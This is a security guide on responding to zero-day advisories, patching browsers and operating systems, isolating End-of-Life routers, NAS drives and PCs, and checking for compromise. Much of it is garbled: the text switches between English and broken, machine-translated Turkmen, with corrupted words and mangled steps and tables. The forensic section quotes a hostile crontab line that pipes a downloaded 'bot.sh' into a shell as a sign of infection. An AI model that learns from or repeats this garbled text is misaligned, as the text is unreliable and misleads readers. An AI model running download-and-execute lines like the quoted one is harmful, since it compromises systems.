Skip to content

Nol günlük gowşaklyk duýduryşlary, gyssagly patch we tor izolýasiýasy

Gyssagly kömek belgileri ýurt boýunça tapawutlanýar. Bu sahypa ABŞ we Kanada üçin 911 belgisini ulanýar. Beýleki köp ýurt 112, 999 ýa-da başga bir belgini ulanýar. Yoururduňyz üçin belgini tapyň.

Waking up to an urgent cybersecurity advisory from the US Cybersecurity and Infrastructure Security Agency (CISA), the UK National Cyber Security Centre (NCSC), Apple, Google, or Microsoft warning that a critical Zero-Day Vulnerability (0-Day) is being actively exploited in the wild (KEV) against your iPhone, Android phone, Windows PC, Mac, Chrome browser, home/office VPN firewall, or Network Attached Storage (NAS) drive, or discovering that your home Wi-Fi router, security camera NVR, or older computer has reached End-of-Life (EoL / End-of-Support) and will never receive a patch for a newly disclosed remote code execution flaw, requires immediate triage. Unlike routine monthly software updates, an actively exploited zero-day means threat actors already possess a working weaponized exploit (such as a zero-click iMessage/WhatsApp image parser exploit, a malicious WebP/font rendering browser exploit, or an unauthenticated WAN port command-injection exploit against routers and NAS appliances) before defenders have deployed the fix. Once a zero-day proof-of-concept (PoC) is published or added to the CISA Known Exploited Vulnerabilities (KEV) Catalog, automated botnets (Mirai, Volt Typhoon, ransomware affiliates) scan the entire IPv4 internet within 15 to 45 minutes to hijack every unpatched device exposed to the open web.

If a zero-day exploit has disrupted life-safety equipment, hospital clinical systems, or public utility infrastructure, or involves physical extortion threats, call your local emergency number (911 ABŞ-da we Kanadada, 112 Europeanewropa Bileleşiginiň üsti bilen, 999 Angliýada) ýa-da halkara katalogymyza serediň gyssagly kömek belgileri immediately. For all consumer, home-office, and small-business zero-day alerts and End-of-Life (EoL) hardware emergencies, execute the rapid patching, temporary mitigation, and network isolation workflow below.

Indi et

  1. Apply emergency Out-of-Band (OOB) patches AND complete the full reboot / browser relaunch immediately: Downloading an emergency update is useless until the vulnerable code in RAM is unloaded. On Chrome, Edge, Brave, and Firefox, a patched zero-day remains exploitable in memory until you click the top-right "Relaunch to Update" button (chrome://settings/help). On iOS, macOS, Windows, and Android, trigger the update manually and reboot the device completely (which also purges non-persistent memory-resident spyware).
  2. If a zero-day has NO patch available yet ("Unpatched 0-Day"), apply the vendor's Temporary Workaround or Attack Surface Reduction (ASR) rule today: When a vulnerability is disclosed before a patch is compiled, CISA and the vendor publish a temporary mitigation (such as disabling UPnP and WAN Remote Management on a router, turning on Apple Lockdown Mode on iOS/macOS, disabling JavaScript JIT in Edge/Chrome, or blocking a specific TCP/UDP port at the firewall).
  3. Audit your public IP address on Shodan.io ýa-da GRC ShieldsUP right now and close all exposed WAN ports (Port Forwarding / UPnP / DMZ): Ninety percent of devastating home and small-business zero-day compromises hit devices that are directly reachable from the public internet (QNAP / Synology NAS drives, ASUS / Netgear / TP-Link router admin pages, Plex, RDP Port 3389, ýa-da VPN appliances). Log into your router and disable Remote WAN Administration, UPnP (Universal Plug and Play), and DMZ Host immediately following our securing home routers and IoT devices guide.
  4. Reboot your mobile phone and router immediately if you suspect zero-click spyware or botnet infection: Sophisticated zero-day exploits against smartphones (Pegasus, Predator, Triangulation) and SOHO routers (VPNFilter, KV Botnet) often run purely inside volatile RAM to avoid detection on disk. Powering the device completely off, waiting 60 seconds, and powering it back on forces the attacker to re-exploit the device (which fails once the emergency patch or Lockdown Mode is active).
  5. Assume that patching a zero-day does NOT kick out an attacker who already breached your device before you patched: A software patch closes the open window, but it does not remove backdoors, web shells, rogue admin accounts, or stolen session cookies created if an attacker exploited your system yesterday. If your router, NAS, VPN, or server was exposed to the internet while an unauthenticated CVSS 9.8+ zero-day was active in the wild, check logs for Indicators of Compromise (IoCs), rotate all credentials, and factory-reset or rebuild if compromised.
  6. **Isolate any End-of-Life (EoL) WAN Internet girişi petiklenen berk Myhman / IoT VLAN-da howpsuzlyk ýamalaryny alyp bilmeýän enjam **: Durmuşyň soňy Windows ⅞/10 kompýuterini, goldanmaýan köne Mac, köne Android / iPhone ýa-da göni LAN ýa-da açyk internete birikdirilen Wi-Fi marşrutizatoryny goýmaň. EoL marşrutizatory esasy internet şlýuzyňyz bolsa, ** aýryň we derrew çalyşyň **.

Danger

** Galp "Gyssagly nol günlük howpsuzlyk patch" açylan ýerlerden we e-poçtalardan ägä boluň. ** Haçan-da ýokary derejeli Chrome, Windows, Apple ýa-da marşrutizator nol günlük habarlara çyksa, kiber jenaýatçylar derrew doly ekranly brauzer bannerlerini görkezýän mahabatlandyryş kampaniýalaryna başlaýarlar * UPDATE.DMG. "* ** Google Chrome, Microsoft Edge, Mozilla Firefox, Apple iOS / macOS we Microsoft Windows Hiç haçan göçürip alyp bolmaýan howpsuzlyk täzelenmelerini paýlamaýarlar. .exe, .msi, .zip, ýa-da .dmg web sahypasynyň açylan ýa-da e-poçta içindäki baglanyşyklar. ** Elmydama operasiýa ulgamynyň ýerli Sazlamalar menýusyndan ýa-da brauzeriň içindäki täzelenmeleri berk açyň. About screen (chrome://settings/help).

Decision tree: emergency triage for active zero-day alerts and End-of-Life (EoL) enjam

Follow this structured decision tree whenever an urgent zero-day vulnerability advisory or End-of-Life notice affects your software or hardware:

flowchart TD
    Alert["Urgent Zero-Day (0-Day) or CISA KEV Alert Announced for Your OS, Browser, Router, or NAS"] --> PatchCheck{"1. Has the Vendor Released an Emergency Security Patch?"}
    PatchCheck -->|"Yes: Patch Available"| Exposure{"2. Was Your Device Directly Exposed to the Internet (WAN Port Open) Before Patching?"}
    Exposure -->|"No: Client Device Behind NAT (Phone, Laptop, Browser)"| Apply["Install Update via Native Settings + Full Reboot / Browser Relaunch Immediately"]
    Exposure -->|"Yes: Public-Facing Router, NAS, VPN, or Server"| Forensic["CRITICAL: Patching Alone Does Not Evict Attackers. Inspect Logs for Web Shells / Rogue Admins, Patch, Rotate Keys, or Factory Reset"]
    PatchCheck -->|"No: Unpatched 0-Day OR Device Is End-of-Life (EoL)"| EoLCheck{"3. Is the Device Permanently End-of-Life (EoL) or Waiting for a Vendor Patch?"}
    EoLCheck -->|"Waiting for Vendor Patch (Temporary 0-Day Window)"| Mitigate["Apply Emergency Workaround: Close WAN Ports, Enable Apple Lockdown Mode / Windows ASR, or Disable Vulnerable Service"]
    EoLCheck -->|"Permanently End-of-Life (No Patch Will Ever Come)"| Role{"4. What Role Does the EoL Device Play?"}
    Role -->|"Edge Router / Firewall / Modem"| Replace["UNPLUG & REPLACE IMMEDIATELY (Or Flash Supported OpenWrt Firmware if Hardware Compatible)"]
    Role -->|"Legacy PC, Old Phone, Printer, Camera, or NAS"| Isolate["Air-Gap or Move to Isolated IoT VLAN + Block Internet Access at Router Firewall"]

Reading a Zero-Day Advisory like a security engineer (decoding CVE, CVSS, CISA KEV, we EPSS)

Not every software vulnerability reported in the media requires dropping everything at 2:00 AM. Understanding the five technical indicators inside an official CISA, NIST NVD, or vendor security bulletin tells you in 30 seconds whether you are facing a theoretical lab bug or a five-alarm house fire:

Vulnerability Metric What It Means Low / Routine Priority FIVE-ALARM EMERGENCY (Drop Everything & Act Now)
**1. Exploitation Status (In the Wild / CISA KEV) ** Whether real-world hackers or spyware vendors are actively using this bug against victims right now, vs. a researcher finding it privately. "No known public exploitation" or "Proof of concept only in lab settings." Listed in the CISA Known Exploited Vulnerabilities (KEV) Catalog (cisa.gov/known-exploited-vulnerabilities-catalog) or labeled by Apple/Google/Microsoft as "Actively exploited in the wild."
**2. Attack Vector (AV:N vs. AV:L) & Authentication (PR:N) ** How the attacker reaches the bug: over the Network (AV:N) without needing a password (PR:N: Unauthenticated), vs. needing physical hands-on access (AV:P). Local (AV:L) or Physical (AV:P) requiring an attacker who is already logged into your keyboard. Network (AV:N) + Privileges Required: None (PR:N): Anyone on the internet (or any malicious website/ad) can trigger the exploit remotely without a username or password.
** 3. Ulanyjy bilen gatnaşygy (UI:N Zero-Click vs. UI:R Bir gezek basmak) ** Whether the victim has to click a link or open a file (UI:R), or whether the exploit triggers silently with zero human action (UI:N: Zero-Click). Requires the user to download, unzip, and manually run a suspicious file and click through security warnings. Zero-Click (UI:N): Triggered merely by receiving an iMessage/WhatsApp text, loading a webpage in Chrome/Safari, or receiving a network packet on an open router port.
**4. Vulnerability Class (RCE, Auth Bypass, Sandbox Escape) ** What the attacker achieves when the exploit succeeds. Information Disclosure (Info Leak) or local Denial of Service (DoS crash). Remote Code Execution (RCE), Authentication Bypass, or Privilege Escalation / Kernel Sandbox Escape (often chained with a browser RCE to take over the full OS).
5. CVSS v3.1 / v4.0 Base Score & EPSS Probability Numerical severity (0.0 to 10.0) plus the Exploit Prediction Scoring System (EPSS) 30-day probability of wild exploitation. CVSS 4.0 to 6.9 (Medium) with EPSS < 1%. CVSS 8.8 to 10.0 (Critical) OR any CVSS 7.0+ vulnerability that is already marked Actively Exploited / CISA KEV.

Phase 1: Emergency zero-day patching and verification across all major platforms

When an active zero-day hits your operating system or web browser, do not wait for automatic overnight maintenance windows (which often delay installation for 3 to 14 days). Force the pull and verify the build number manually:

1. Web Browsers (Google Chrome, Microsoft Edge, Brave, Firefox, Safari): The #1 Zero-Day Target

Because web browsers parse untrusted JavaScript (V8 / SpiderMonkey / JavaScriptCore JIT düzüjiler), WebRTC wideo akymlary, WebGL grafikasy we şekil formatlary (WebP, libvpx, FreeType) girýän her sahypaňyzdan we mahabatyňyzdan, sarp edijiniň nol günlük duýduryşlarynyň köpüsini brauzer nol günlük hasaplaýar. 1. ** Google Chrome : Görnüşi chrome://settings/help salgy setirinde. Chrome derrew Google-yň täzeleniş serwerlerini barlar we ýamany göçürip alar. Peýda bolan gök ** "Gaýtadanşletmek" ** düesine basmaly, ulgam ulgamyňyzda işleýän fonda Chrome amallaryny gizlän bolsaňyz, hemmesini ýapyň ýa-da köne ejiz bolar ýaly kompýuteriňizi täzeden açyň. chrome.exe ikilik RAM-dan doly düşürilýär. 2. ** Microsoftdge **: Görnüşedge://settings/help**, göçürip almagyň 100% bolmagyna garaşyň we ** Başlamak ** düwmesine basyň. 3. ** Batyr brauzer **: görnüşi brave://settings/help we ** Gaýtadan işlemek ** düwmesine basyň. 4. ** Mozilla Firefox **: ** Menýu düwmesine basyň -> Kömek -> Firefox hakda ** (ýa-da ýazyň about:preferences#general -> * Firefox täzelenmeleri *) aýlaň we Firefox ** täzelemek üçin ** Başlamak düwmesine basyň. 5. ** Apple Safari **: Safari täzelenmeleri gönüden-göni ** iOS, iPadOS we macOS Ulgam täzelenmeleri ** bilen birikdirilýär (goşmaça Safari täzelenmeleri System Settings -> General -> Software Update macOS Sonoma / Wentura üçin).

2. Smartfonlar we planşetler (Apple iOS / iPadOS we Google Android)

Jübi nol günleri (esasanam iMessage, FaceTime, WebKit, baseband modem we Android System / Qualcomm GPU kemçilikleri) nol basmak täjirçilik içaly programmalary tarapyndan köp ulanylýar (Pegasus, Predator) we howp abanýanlary nyşana alýar. - ** Apple iPhone we iPad (iOS / iPadOS) **: 1. Açyň ** Sazlamalar -> Umumy -> Programma üpjünçiligini täzelemek **. 2. Açyň ** Awtomatiki täzelenmeler -> Howpsuzlyk jogaplary we ulgam faýllary ** (şonuň üçin Apple ** Çalt howpsuzlyk jogaplary / Fon howpsuzlygy gowulandyrmalary ** esasy iOS neşirleriniň arasynda awtomatiki ulanylýar). 3. Ernadrosy doly açmagy öz içine alýan garaşylýan iOS täzelenmesini derrew guruň. - ** Android smartfonlary (Google Pixel, Samsung Galaxy we ş.m.) **: 1. “Android” -iň aslynda ** iki sany aýratyn howpsuzlyk täzelenme kanaly bar, olary özbaşdak barlamaly: - ** Kanal A (OS Howpsuzlyk Patch derejesi) **: Açyň ** Sazlamalar -> Howpsuzlyk we gizlinlik -> Ulgam we täzelenmeler -> Howpsuzlyk täzelenmesi ** (we senäni barlaň: soňky 30-60 günüň içinde bolmaly). - ** B kanal (Google Play Ulgam täzelenmesi / Taslamanyň esasy ugry) **: Açyň ** Sazlamalar -> Howpsuzlyk we gizlinlik -> Ulgam we täzelenmeler -> Google Play ulgamynyň täzelenmesi **. “Android” -iň media kodeklerinde, “Wi-Fi” -da we iş wagtyndaky köp sanly möhüm günler, operatoryňyzyň aýlyk programma üpjünçiliginiň täzelenmegine garaşman, “Google Play System Updates **” arkaly iberilýär. ** Täzelenmäni barlaň, guruň we ** Indi täzeden açyň.

3. Iş stoly operasiýa ulgamlary (Windows 10/11, macOS we Linux)

  • ** Windows 10 we Windows 11 **:
  • Açyň ** Sazlamalar (Win + I) -> Windows täzelenmesi -> Täzelenmeleri barlaň **.
  • Şeýle hem ** Windows Howpsuzlygy -> Wirus we howpdan goramak -> Gorag täzelenmeleri -> Täzelenmeleri barlaň ** (Microsoft her gün içerde gyssagly nol günlük kesgitlemeleri we gowşak goralan wirtual ýamalary iberýär ** Microsoft Defender Security Intelligence ** kesgitlemesi doly Windows jemleýji patch taýýar bolmanka birnäçe sagat öň täzelenýär).
  • ** Apple macOS **:
  • Açyň ** Apple menýusy -> Ulgam sazlamalary -> Umumy -> Programma üpjünçiligini täzelemek **. ** "Howpsuzlyk jogaplaryny we ulgam faýllaryny guruň" ** maglumatyň aşagyndadygyna göz ýetiriň (i) düwmesi.
  • ** Linux (Ubuntu / Debian we RHEL / Fedora) **:
  • Derrew howpsuzlyk ammary täzelenmesini işlediň we ýadro ýa-da umumy kitaphananyň bardygyny barlaň (glibc, openssl, openssh, xz, cups) täzeden açmaly:
# Ubuntu / Debian: Pull emergency patches & check if reboot/service restart is required
sudo apt update && sudo apt full-upgrade -y
cat /var/run/reboot-required 2>/dev/null || echo "No kernel reboot required"
sudo needrestart -r i 2>/dev/null

# Fedora / RHEL / Rocky / AlmaLinux: Pull emergency security advisories
sudo dnf upgrade --security --refresh -y
sudo dnf needs-restarting -r

2-nji tapgyra: Hiç hili patch ýok wagty gyssagly çözgütler ("Iberilmedik nol gün" penjiresinden halas bolmak)

Haçan edýärsiň? CISA, Microsoft, Appleýa-da howpsuzlyk firmasy häzirki wagtda möhüm bir gowşak goralanlygyň işjeň ulanylýandygyny habar berýär, ýöne satyjy resmi ýamanyň ýene 3-10 güne taýyn däldigini aýdýar **? Derrew ** Kompensasiýa dolandyryşlary we hüjümiň üstüni azaltmak ()ASR) ** ekspluatasiýa zynjyryny ýerine ýetirmezden ozal döwmek:

Iberilmedik nol gününde maksatly platforma Derrew nol günlük gulplama / iş meýilnamasy Ulanyş zynjyryny nädip döwýär
** Apple iPhone, iPad ýa-da Mac (iOS / macOS Içaly programma duýduryşyny nol basyň) ** ** Apple "Lockdown Mode" -ni işlediň **: ** Sazlamalara gidiň -> Gizlinlik we Howpsuzlyk -> Gulplama tertibi -> Gulplama tertibini açyň (we gaýtadan açyň). IMessage-de habar goşma görnüşleriniň köpüsini bloklaýar, çylşyrymly şrift görkezilmegini öçürýär we JIT Safari-de JavaScript ýygyndysy, näbelli kontaktlardan gelýän FaceTime jaňlaryny bloklaýar we gulplanan wagtynda simli maglumat birikmelerini ýapýar.
** Google Chrome ýa-da Microsoft Edge (V8 JavaScript / WebAssemble Zero-Day) ** ** 1. Microsoft Edge **: ** Enhanced Security Mode (Strict) ** -ni işlediň edge://settings/privacy -> * Webdäki howpsuzlygyňyzy güýçlendiriň * -> ** Gaty .
 2. Chrome **: V8 JIT optimizasiýasyny öçüriň chrome://settings/content/v8 -> ** "Saýtlaryň V8 optimizatoryny ulanmagyna ýol bermäň" ** saýlaň.		 Nol günlük brauzeriň 60 göteriminden gowragy “Just-In-Time” ()JIT) JavaScript düzüjisi. Öçürmek V8 JIT optimizasiýasy ýa-da “Edge Strict Mode” -y işletmek, hemmesini ýok edýär JIT göz aýlamagyň haýal azalmagy bilen hüjüm ýüzüne.
** Windows 10/11 (Office, PDF, WinRAR/7-Zip, Print Spooler, ýa-da NTLM/SMB Nol gün) ** Administrator hökmünde ** PowerShell-i açyň we ** Microsoft Defender Attack Surface Reduction-y işlediň (ASR) düzgünler ** + Goragly görnüş, ýa-da gowşak Windows hyzmatyny duruzmak (Stop-Service -Name Spooler -Force; Set-Service -Name Spooler -StartupType Disabled). Office makroslaryny / çaga amallaryny bloklaýar, şahsyýet maglumatlarynyň ogurlanmagyny bloklaýar lsass.exe, USB ýa-da e-poçta arhiwinden işleýän ynamsyz gol çekilmedik ýerine ýetirijileri bloklaýar we gowşak RPC hyzmatlaryny ýapýar.
** Öý / SMB Wi-Fi marşrutizatory, Firewall, VPN ýa-da NAS (ASUS, Netgear, TP-Link, Synology, QNAP, Fortinet, Ivanti) ** ** 1. ** ** WAN Uzak Dolandyryş / Bulut elýeterliligi ** öçüriň.
** 2. ** Öçüriň ** UPnP (Univershliumumy wilka we oýnamak) .
 3. ** Porty Ibermek ** düzgünleriniň hemmesini pozuň (80, 443, 8080, 8443, 5000, 5001, 22, 3389).
** 4. ** WAN stakanyň özünde tassyklanmadyk bir näsazlyk bar bolsa, ** enjamy modemden çykarylan programma üpjünçiligi çykýança aýryň.		 Daşarky botnetler, enjam soralmaýan gelýänleriň hemmesini taşlasa, marşrutizator administratiw portalyny ýa-da NAS sürüjisini ulanyp bilmez SYN WAN firewall interfeýsindäki paketler.

Scriptazgylary göçüriň we göçüriň: Windows PowerShell gyssagly nol günlük gatylaşma (ASR Düzgünler)

Iberilmedik Windows, Office ýa-da PDF nol günlük tebigatda aýlanýan bolsa we Windows 10/11 Pro / Enterprise (ýa-da registr / PowerShell arkaly Windows Home-de Defender-i ulanýan) işleýän bolsaňyz, Microsoft Defender-iň esasy ** Attack Surface Reduction (Attack Surface Reduction) -ny işjeňleşdirmek üçin bu buýruklary ** PowerShell (Administrator hökmünde işlediň) ** işlediň.ASR) ** düzgünleri Block tertibi (1):

# 1. Force an immediate emergency pull of Microsoft Defender zero-day signatures
Update-MpSignature

# 2. Enable PUA Protection, Cloud Block at High+, and Network Protection
Set-MpPreference -PUAProtection Enabled
Set-MpPreference -EnableNetworkProtection Enabled
Set-MpPreference -CloudBlockLevel HighPlus
Set-MpPreference -CloudExtendedTimeout 50

# 3. Enable Critical Attack Surface Reduction (ASR) Rules in Block Mode (Value = 1)
# Blocks Office apps from creating child processes, blocks LSASS credential theft,
# blocks untrusted/unsigned processes from USB, and blocks obfuscated scripts
$ASRGuids = @(
    "D4F940AB-401B-4EFC-AADC-AD5F3C50688A", # Block all Office applications from creating child processes
    "9e6c4e1f-7d60-472f-ba1a-a39ef669e4b2", # Block credential stealing from the Windows local security authority subsystem (lsass.exe)
    "5BEB7EFE-FD9A-4556-801D-275E5FFC04CC", # Block execution of potentially obfuscated scripts
    "3B576869-A4EC-4529-8536-B80A7769E899", # Block Office applications from creating executable content
    "7674ba52-37eb-4a4f-a9a1-f0f9a1619a2c", # Block Adobe Reader from creating child processes
    "b2b3f03d-6a65-4f7b-a9c7-1c7ef74adc99"  # Block untrusted and unsigned processes that run from USB
)
foreach ($Guid in $ASRGuids) {
    Add-MpPreference -AttackSurfaceReductionRules_Ids $Guid -AttackSurfaceReductionRules_Actions Enabled
}

3-nji tapgyra: Enjamyňyzyň ahyryna urlanda näme etmeli (EoL / Goldawyň soňy)

Apparat we programma üpjünçiliginiň her bölegi ahyrsoňy ** Durmuşyň soňuna (EoL) ** ýa-da goldawyň soňy (EoS) **, öndürijiniň katastrofiki ýagdaýlarda-da howpsuzlyk ýamalaryny goýbermegi hemişelik bes eden senesi CVSS 10.0 nol günlük gowşaklyklar ýüze çykaryldy. - ** Durmuşyň soňy näme üçin işjeň adatdan daşary ýagdaý **: Hüjümçiler awtomatlaşdyrylan "Ikilik tapawudy" ulanýarlar (BinDiff / Ghidra) takyk gowşaklygy tersine inerener etmek üçin * goldanýan * modeller üçin (meselem, Windows 11 ýa-da täze 2025 TP-Link marşrutizatory) goýberilen ýamalarda, soň bolsa durmuşyň ahyrky modellerine garşy ulanylýan ot (derrew Windows ⅞ / abuna ýazylmadyk Windows 10, köne macOS çykaryjylary ýa-da 5 ýaşly marşrutizatorlar) “Forever Day” patchy hiç haçan almaz.

Durmuşyň 4 derejeli ahyry (EoL) Enjamlary izolýasiýa we çalyşmak protokoly

Öýüňizdäki ýa-da ofisiňizdäki her bir ahyrky enjamy torlaýyn bozulma howpuna sezewar etmek üçin bu karar matrisasyny ulanyň:

Ömrüň ahyry kategoriýasy (EoL) Enjam Çep internete birikdirilen bolsa töwekgelçilik derejesi Hökmany gyssagly çäre Häzirki wagtda enjamlary çalşyp bilmeýän bolsaňyz, ygtybarly iş
** 1. Ömrüň ahyrky Wi-Fi marşrutizatory, kabel modemi / şlýuzy ýa-da firewall ** ** GÖRNÜŞ (Möhüm adatdan daşary ýagdaý) **: Routeriňiz köpçüligiň IPv4 internetinde göni nol gorag diwary bilen otyr. Ygtybarly EoL marşrutizatorlary millet-döwlet botnetlerine gul edilýär (Volt Typhoon, Raptor Train) we LAN-daky ähli traffigi saklap bilýär. ** TERJIME EDIP BOLUN we GEREK Specificörite marşrutizator enjam modeliňiz açyk çeşme tarapyndan goldanýan bolsa ** OpenWrt (openwrt.org/toh/start) **, ** DD-WRT ** ýa-da ** FreshTomato **, işjeň howpsuzlyk patchlaryny mugt dikeltmek üçin häzirki açyk çeşme Linux programma üpjünçiligini ýalpyldadyp bilersiňiz.
** 2. Ömrüň ahyrky smartfony ýa-da planşeti (Köne iPhone / iPad ýa-da Android Telefon Howpsuzlyk ýamalaryny almagy bes etdi) ** ** I ** GOWY **: WebKit / Blink brauzeriniň ulanylmagy, Bluetooth / Wi-Fi ýakynlygyndaky näsazlyklar we zyýanly programmalar; ykjam bank, e-poçta ýa-da 2FA tassyklaýjy kodlary üçin ulanylsa howply. ** EoL telefonyny bank, e-poçta, parol dolandyryjylary ýa-da 2FA üçin ulanmagy bes ediň. ** Hasaplary goldaýan enjama göçüriň we köne telefony täzeden işlediň. EoL Android telefonyny ikinji derejeli Wi-Fi media pleýer hökmünde ulanýan bolsaňyz, işjeň täzelenen brauzeri guruň (OS wersiýasy rugsat berse ** Firefox ** ýa-da ** Batyr **) ýa-da ** LineageOS / GrapheneOS ** (goldanýan Pixel / Android enjamlarynda) we diňe ** Myhman Wi-Fi **-ä birikdiriň.
** 3. Ömrüň ahyrky iş stoly ýa-da noutbuk (Windows 7 / 8 / 10 EoS, ýa-da Intel / Older Mac Apple tarapyndan taşlandy) ** ** I HIGH GOWY **: Iberilmedik ýadro, SMB we brauzeriň gowşak taraplary töleg programma üpjünçiligine ýa-da infostealere köne kompýuterden beýleki kompýuterlere we öý ulgamyňyzdaky NAS-a geçmäge mümkinçilik berýär. ** OS-ny täzeläň ýa-da çalyşyň ** (Webde gezmäň ýa-da iberilmedik OS-da e-poçta barlamaň). ** 1. Köne Windows PC : ** Microsoft-yň giňeldilen howpsuzlyk täzelenmelerine ýazyň (ESU) ** laýyk bolsa, ýa-da Windows-y süpüriň we ýeňil, işjeň ýasalan ** Linux paýlanyşyny guruň (Linux Mint, Ubuntu LTS, ýa-da ChromeOS Flex) ** 10 ýaşly kompýuteriň 20 minutda doly örtülen, ygtybarly maşyna öwrülmegi.
 2. Miras programma üpjünçiligine baglylyk **: Miras CNC enjamyny, lukmançylyk enjamyny ýa-da ses enjamyny işletmek üçin köne Windows XP / 7/10 ulgamyny saklamaly bolsaňyz, ** Ethernet kabelini aýryň we Wi-Fi (Doly howa-gap) ** ýapyň ýa-da wirtual maşynyň içinde gulplaň (VM) wirtual tor adapteri ýapyk.
** 4. Ömrüň ahyrynda NAS Drive, Tor printeri, IP kamera, akylly telewizor ýa-da IoT enjamy ** ** ÇYKMAK ÜÇIN I ** GOWY **: Iberilmedik NAS sürüjileri (QNAP, Synology, WD My Cloud) we IP kameralar (Hikvision, Dahua, Amcrestüçin esasy maksat bolup durýar DeadBolt töleg programma üpjünçiligi we botnetler. ** 1. ** Enjamy esasy LAN-dan izolirlenen ** IoT / Myhman VLAN ** -a geçiriň.
** 2. Routeriňiziň gorag diwaryndaky enjamyň MAC salgysy üçin WAN Internet Access **-i bloklaň.		 Port ekspedisiýasy ýa-da öndürijiniň bulut relýesi arkaly hiç haçan EoL NAS ýa-da kamerany internete açmaň. Öýden uzakda bolsaňyz, EoL NAS ýa-da kameradan uzakdan girmek zerur bolsa, internete girmegi öçüriň we öz ulgamyňyzda goldanýan enjamda işleýän ** WireGuard ** ýa-da ** Tailscale VPN ** arkaly berk giriň.

Ömrüň soňuny nädip gulplamaly (EoL) Printer, kamera ýa-da NAS marşrutizatoryňyzdaky "Internet ýok ýerli türme" içinde

Öý ulgamyňyzda henizem gowy işleýän köne ulgam printeriňiz, akylly telewizor, IP howpsuzlyk kamerasy ýa-da miras galan NAS sürüjiňiz bar bolsa (LAN) ýöne ömrüniň ahyryna ýetdi we hiç haçan başga bir howpsuzlyk patchyny almaz, daşarky internet bilen gürleşmegiňiziň öňüni alsaňyz, ony ** zibile taşlamaly dälsiňiz (WAN): 1. Esasy Wi-Fi marşrutizatoryňyzyň dolandyryş konsolyna giriň. 2. ** LAN sazlamalary / DHCP serweri -> Statik DHCP kärendesi (Salgy belligi) ** -e giriň we EoL enjamyny belläň MAC Address hemişelik statiki ýerli IP adresi (mysal üçin, 192.168.1.240). 3. Router sazlamalaryňyzda ** Firewall / Ene-ata dolandyryşlary / Giriş gözegçiligi / Trafik düzgünleri ** -e gidiň: - Munuň üçin düzgün dörediň 192.168.1.240 (ýa-da onuň MAC Address) ** Internethli internete (WAN) girmegi blokirläň (Outbound & Inbound WAN = DROP/REJECT) **. - Ativea-da bolmasa, EoL enjamynyň öz el bilen işleýän ulgam sazlamalarynyň içinde, Statik IP-i düzüň 192.168.1.240Subnet maskasy 255.255.255.0, we ** Default Gateway we DNS Server meýdanlar düýbünden boş (ýa-da ýok IP-ä meňzeş şlýuzany düzüň 192.168.1.254) **. Dogry Dymmaklyk şlýuzy bolmazdan, EoL printeri ýa-da kamerasy henizem ýerli kompýuterlerden çap edip ýa-da akyp biler 192.168.1.x subnet, ** ýöne fiziki taýdan paketleri internete ugrukdyryp ýa-da internetden alyp bolmaýar **.

4-nji tapgyra: Enjamyňyz ýelmänkäňiz açylan bolsa ekspluatasiýadan soňky kazyýet işi

Haçan a CVSS 9.8+ tassyklanmadyk nol gün internet bilen ýüzbe-ýüz bolýan enjama täsir edýär (öý ýa-da kiçi telekeçi marşrutizator, VPN şlýuzasy, QNAP / Synology NAS, Plex media serweri ýa-da porta ugrukdyrylan iş stoly), satyjynyň programma üpjünçiliginiň täzelenmesini ulanmak diňe gapyny ýapýar. Awtomatlaşdyrylan skaner, açmazdan ozal köpçülige açyk IP adresiňize degen bolsa, hüjümçi adaty gaýtadan açylmakdan aman galan dowamly howlyny oturdyp biler. Bu 4 basgançakly kazyýetden soňky kazyýet barlagyny ýerine ýetiriň:

  1. ** Rugsat berilmedik administrator hasaplaryny we SSH açarlaryny barlaň **:
  2. NAS, marşrutizatoryňyzda ýa-da kompýuteriňizde ** Ulanyjylar / Dolandyryjylar ** dolandyryş ekranyny açyň we nätanyş administrator hasaplarynyň ýokdugyny barlaň (meselem) support, admin2, backup, ýa-da system) nol günlük penjirede döredildi.
  3. Linux / macOS / NAS ulgamlarynda barlaň -/.ssh/authorized_keys we /root/.ssh/authorized_keys gödek SSH açarlarynyň goşulmandygyny barlamak üçin.
  4. ** Işjeň çykýan tor birikmelerini barlaň (netstat / Router Traffic Monitor) and DNS Settings**:
  5. Compromised SOHO routers and NAS appliances frequently have their Primary and Secondary WAN DNS Servers hijacked to point to a rogue IP address, or maintain a persistent reverse shell / botnet connection (SOCKS5 proxy or Tor relay).
  6. Log into your router's WAN / Internet Settings and confirm that DNS is set to your ISP default or a verified public resolver (1.1.1.1, 8.8.8.8, ýa-da 9.9.9.9).
  7. Check cron Jobs, Startup Scripts, and Web Root Directories for Web Shells:
  8. Zero-day exploits against web-managed appliances almost always drop a tiny .php, .jsp, .aspx, ýa-da .cgi web shell into the device's web server directory or inject a persistent crontab göçürip almak we ýerine ýetirmek (curl http://.../bot.sh | sh).
  9. Routeriňiz ýa-da NAS düşündirilmedik ýokary CPU ulanylyşyny, geň çykýan ýol hereketlerini ýa-da nol günlük duýduryşdan soň üýtgedilen ulgam ikiliklerini görkezýän bolsa, ** diňe bir programma üpjünçiliginiň täzelenmegine ynanmaň **: arassa ulanyjy maglumat faýllaryňyzy ätiýaçlandyryň (diňe suratlar we resminamalar, hüjümçiniň kron işini öz içine alyp bilýän ulgam konfigurasiýa ätiýaçlyk nusgalaryny ýerine ýetiriň, iň täze kompýuter parolyny täzeläň) tohum.
  10. ** Gowşak enjamda saklanan ýa-da geçen ähli şahsyýetnamalary aýlaň **:
  11. Gaplaňdan öň bir gyradaky VPN enjamy, marşrutizator ýa-da NAS bozulan bolsa, islendik aç-açan parollar, SMB tor paýlaşma şahsyýetnamalary, bulut ätiýaçlyk API açarlary (AWS S3, Backblaze B2, Wasabi), ýa-da şol enjamda saklanýan SSL / TLS şahsy açarlary derrew ýatyrylmaly we täzelenmeli.

Freygy-ýygydan berilýän soraglar

Nol günlük patch gurmak, enjamym täzelenmezden öň ulanylan bolsa hakerleri aýyrýarmy?

